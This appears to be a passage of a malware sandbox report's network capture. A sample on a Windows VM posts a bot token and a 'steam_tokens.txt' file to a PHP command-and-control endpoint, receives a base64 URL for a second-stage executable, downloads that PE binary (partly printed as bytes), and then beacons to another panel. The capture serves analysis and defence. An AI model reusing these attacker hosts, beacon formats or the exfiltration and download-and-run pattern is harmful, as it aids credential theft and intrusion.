72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file"------FBFCGIDAKECGCBGDBAFI--
Dec 9, 2024 18:20:48.083782911 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:48.110672951 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="message"ybncbhylepme------BFBFBFIIJDAKECAKKJEH--
Dec 9, 2024 18:20:48.550754070 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49828	185.215.113.16	80	5264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 18:20:48.677524090 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 9, 2024 18:20:50.028995037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 17:20:49 GMT Content-Type: application/octet-stream Content-Length: 3254784 Last-Modified: Mon, 09 Dec 2024 16:55:44 GMT Connection: keep-alive ETag: "67572110-31aa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1p1@Wk411 @.rsrc@.idata @cqhmklqr**@kzjbvhiv11@.taggant01"1@
Dec 9, 2024 18:20:50.029232979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 18:20:50.029238939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 18:20:50.029567957 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 18:20:50.029700041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 18:20:50.029711962 CET	1236	IN	Data Raw: 2e 74 94 61 e3 75 5f 1d 4f 0c 98 b9 7e b3 d8 61 03 4a a4 a7 9a 8e 7e bd 9b 36 fc 71 50 f2 93 39 ce 74 94 61 e3 75 5f 1d 4f 0c 98 b9 d6 b3 d8 61 03 32 a5 a7 9a 8e 5e bd 9b 36 fc d1 50 f2 93 39 ee 74 94 61 e3 75 5f 1d 4f 0c 98 b9 ce b3 d8 61 03 a2 Data Ascii: .tau_O~aJ~6qP9tau_Oa2^6P9tau_Oa>61Q9tau_Oa"6Q9tau_Oa6Q9Nwau_Oa6QR9nwau_Oa6j9wau_Oa
Dec 9, 2024 18:20:50.029721975 CET	448	IN	Data Raw: 9a 8e be b9 9b 36 fc b1 5e f2 93 39 0e bb 94 61 e3 75 5f 1d 4f 0c 84 b9 52 b0 d8 61 03 12 be a7 9a 8e 9e b9 9b 36 fc 11 5f f2 93 39 2e bb 94 61 e3 75 5f 1d 4f 0c 90 b9 5e b0 d8 61 03 3e a9 a7 9a 8e 7e c8 9b 36 fc 71 5f f2 93 39 ce bb 94 61 e3 75 Data Ascii: 6^9au_ORa6_9.au_O^a>~6q_9au_O>ab^6_9au_Oa>61`9au_OraR6`9au_Oaj6`9Nau_Oa6Qa9nau_
Dec 9, 2024 18:20:50.030316114 CET	1236	IN	Data Raw: 9a 8e fe c7 9b 36 fc f1 3b f2 93 39 4e bd 94 61 e3 75 5f 1d 4f 0c 9c b9 66 b1 d8 61 03 ea a7 a7 9a 8e de c7 9b 36 fc 51 3c f2 93 39 6e bd 94 61 e3 75 5f 1d 4f 0c 84 b9 3a b1 d8 61 03 2a bf a7 9a 8e be c7 9b 36 fc b1 3c f2 93 39 0e bd 94 61 e3 75 Data Ascii: 6;9Nau_Ofa6Q<9nau_O:a*6<9au_OFa6=9.au_Oa~6q=9au_Oa"^6=9au_Oa>61>9au_Oa669au_
Dec 9, 2024 18:20:50.030349970 CET	1236	IN	Data Raw: 4f 0c a0 b9 d6 aa d8 61 03 42 a5 a7 9a 8e 1e c2 9b 36 fc 91 4a f2 93 39 ae c1 94 61 e3 75 5f 1d 4f 0c 9c b9 e6 aa d8 61 03 2a c0 a7 9a 8e fe c2 9b 36 fc f1 4a f2 93 39 4e c0 94 61 e3 75 5f 1d 4f 0c 88 b9 ba aa d8 61 03 d2 a3 a7 9a 8e de c2 9b 36 Data Ascii: OaB6J9au_Oa*6J9Nau_Oa6QK9nau_Oa6K9au_Oaj6L9.au_Oa~6qL9au_Ofa^6L9au_O:a>6
Dec 9, 2024 18:20:50.030363083 CET	1236	IN	Data Raw: e9 79 e8 59 15 87 c5 39 93 a7 94 61 1d 72 9b dc 58 d8 d0 23 97 36 60 1d 4f 6a 5f 1d 4f e3 1a 3d e9 ad e8 59 91 e1 53 b7 b8 29 46 67 32 7c 03 62 9a e0 7b 64 2b 37 94 e4 56 2e 1b 27 e1 db 52 1d 4f 6a 5f 1d 4f 6a 5f 1d 4f 6a 5f 1d 4f e3 1a 3d b5 79 Data Ascii: yY9arX#6`Oj_O=YS)Fg2\|b{d+7V.'ROj_Oj_Oj_O=yi6a4uzW F3a6.W>6a{+7Oj_Oj_Oj_O={Ayn6ag2dj_O=d`v Vg&3a)FaZ29/%ar(UtaNj_Oj_Oj_O=d
Dec 9, 2024 18:20:50.150779009 CET	1236	IN	Data Raw: 4f 6a 5f 1d 4f 6a 5f 1d 4f e3 1a 3d e9 ad 64 de d8 32 57 67 26 33 d9 61 ea 8e c0 71 9d 36 13 25 97 80 d8 59 9b 02 9b bb a6 e0 7b be ef 37 94 e4 56 2e 1b 27 e1 db 51 65 9a e3 1a 3d b5 79 fb d9 13 f2 93 c5 fb 36 94 61 9a e6 12 3d 9f e0 34 75 7a f0 Data Ascii: Oj_Oj_O=d2Wg&3aq6%Y{7V.'Qe=y6a=4uzW F3a6KQ6^Jq96aY`6'^9aK(za6P*B9{nPD&yKwK&a&>Quw!?kpR2i?bWYY0g6'g+a6#6\|5Oj_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49844	185.215.113.206	80	5264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 18:20:55.597634077 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDBKKFHIEGDHJKECAAK--
Dec 9, 2024 18:20:57.456753969 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50004	185.215.113.43	80	8092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 18:22:04.288502932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 18:22:05.630249023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 17:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:05 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 47 35 33 41 6e 6d 32 73 6d 45 4b 42 4d 4e 4d 73 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 61 31 36 65 35 35 62 65 61 35 34 63 63 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: G53Anm2smEKBMNMs.1Context: fa16e55bea54ccd
2024-12-09 17:20:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-09 17:20:05 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 47 35 33 41 6e 6d 32 73 6d 45 4b 42 4d 4e 4d 73 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 61 31 36 65 35 35 62 65 61 35 34 63 63 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 6f 62 46 6b 61 65 4f 4c 67 34 42 46 32 45 35 67 33 7a 47 65 61 42 65 6e 6d 4f 50 79 57 42 74 6d 30 74 63 79 72 4c 53 68 44 30 70 70 72 53 37 31 70 57 5a 48 76 71 4b 7a 47 6e 61 33 75 68 48 6f 69 31 75 76 5a 63 4f 6c 44 78 65 57 74 44 66 56 36 37 42 78 4e 52 2f 57 4c 67 6d 36 37 4e 76 55 52 34 6c 51 6e 62 39 53 6c 38 6c 44 30 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: G53Anm2smEKBMNMs.2Context: fa16e55bea54ccd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASobFkaeOLg4BF2E5g3zGeaBenmOPyWBtm0tcyrLShD0pprS71pWZHvqKzGna3uhHoi1uvZcOlDxeWtDfV67BxNR/WLgm67NvUR4lQnb9Sl8lD0
2024-12-09 17:20:05 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 47 35 33 41 6e 6d 32 73 6d 45 4b 42 4d 4e 4d 73 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 61 31 36 65 35 35 62 65 61 35 34 63 63 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: G53Anm2smEKBMNMs.3Context: fa16e55bea54ccd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-09 17:20:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-09 17:20:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 34 33 76 69 44 39 4f 62 45 43 6e 74 2b 52 2f 4b 6b 4f 48 6d 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: y43viD9ObECnt+R/KkOHmA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	142.250.181.100	443	5712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:12 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:20:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:12 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-3UdHitC7zOtgbs7_zanwQA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 17:20:13 UTC	124	IN	Data Raw: 64 31 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 39 22 2c 22 73 79 72 69 61 6e 20 61 72 61 62 20 61 69 72 6c 69 6e 65 73 20 73 79 72 39 32 31 38 22 2c 22 68 65 69 73 6d 61 6e 20 74 72 6f 70 68 79 20 6f 64 64 73 22 2c 22 62 6f 73 73 20 6e 69 6e 65 20 76 38 20 63 72 61 74 65 20 65 6e 67 69 6e Data Ascii: d10)]}'["",["nyt strands hints december 9","syrian arab airlines syr9218","heisman trophy odds","boss nine v8 crate engin
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 65 22 2c 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 6c 61 79 6f 66 66 20 70 6c 61 79 6f 66 66 20 62 72 61 63 6b 65 74 22 2c 22 31 39 32 33 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 70 72 65 71 75 65 6c 22 2c 22 72 65 66 69 6e 61 6e 63 65 20 6d 6f 72 74 67 61 67 65 20 72 61 74 65 73 20 74 6f 64 61 79 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 77 61 72 6e 69 6e 67 20 6d 69 6e 6e 65 73 6f 74 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d Data Ascii: e","college football playoff playoff bracket","1923 yellowstone prequel","refinance mortgage rates today","winter storm warning minnesota"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbm
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 57 63 32 52 34 4f 55 6b 7a 53 47 56 7a 4f 54 64 69 64 7a 52 76 5a 55 46 42 55 6e 52 55 54 6e 55 77 53 56 64 51 4d 6e 52 71 4d 6e 42 42 56 44 46 4e 4c 32 46 79 52 31 46 42 63 55 49 76 54 6c 46 59 5a 58 4e 53 53 6b 70 54 61 30 4e 54 55 30 35 78 4e 58 42 71 5a 6e 68 50 64 6a 64 54 4e 30 78 6b 61 6d 67 35 64 57 78 32 57 45 74 59 4f 48 6c 73 52 56 51 78 5a 32 6c 4c 62 47 70 44 56 57 35 54 54 47 30 78 55 56 6f 30 61 43 74 49 62 6e 70 53 56 7a 6c 6f 64 44 4e 73 4d 31 42 4b 5a 45 4a 51 62 30 5a 45 4f 46 56 6f 61 48 42 6f 59 6c 52 68 52 47 4a 6f 53 7a 42 45 53 33 4e 47 53 55 49 77 62 6e 6c 79 5a 54 63 34 55 6b 31 5a 64 6e 52 49 53 47 64 35 53 56 56 44 61 47 74 61 56 57 31 5a 4f 57 55 76 56 33 4d 79 54 48 55 76 54 32 73 30 64 47 68 6e 51 6d 78 58 57 6e 68 75 63 57 Data Ascii: Wc2R4OUkzSGVzOTdidzRvZUFBUnRUTnUwSVdQMnRqMnBBVDFNL2FyR1FBcUIvTlFYZXNSSkpTa0NTU05xNXBqZnhPdjdTN0xkamg5dWx2WEtYOHlsRVQxZ2lLbGpDVW5TTG0xUVo0aCtIbnpSVzlodDNsM1BKZEJQb0ZEOFVoaHBoYlRhRGJoSzBES3NGSUIwbnlyZTc4Uk1ZdnRISGd5SVVDaGtaVW1ZOWUvV3MyTHUvT2s0dGhnQmxXWnhucW
2024-12-09 17:20:13 UTC	447	IN	Data Raw: 32 35 6c 49 48 42 79 5a 58 46 31 5a 57 78 4b 42 79 4d 79 5a 6a 4e 6b 4e 7a 56 53 53 32 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 57 55 44 46 36 59 7a 42 4d 52 46 70 51 53 7a 68 33 65 55 74 72 4e 44 4e 5a 55 46 4e 54 54 55 78 52 4d 45 31 73 59 57 39 55 54 54 4e 4b 65 56 4d 34 64 6b 78 7a 62 6c 42 54 4d 56 56 76 53 30 56 76 64 45 78 46 4d 30 35 42 55 55 46 47 56 47 63 79 59 6e 41 54 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 30 2c 36 30 31 2c 36 30 30 2c 35 35 34 2c 35 35 33 2c 35 35 32 2c 35 35 31 2c 35 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 Data Ascii: 25lIHByZXF1ZWxKByMyZjNkNzVSS2dzX3NzcD1lSnpqNHRWUDF6YzBMRFpQSzh3eUtrNDNZUFNTTUxRME1sYW9UTTNKeVM4dkxzblBTMVVvS0VvdExFM05BUUFGVGcyYnAT","zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1250,601,600,554,553,552,551,550],"google:suggestsubtype
2024-12-09 17:20:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49715	142.250.181.100	443	5712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
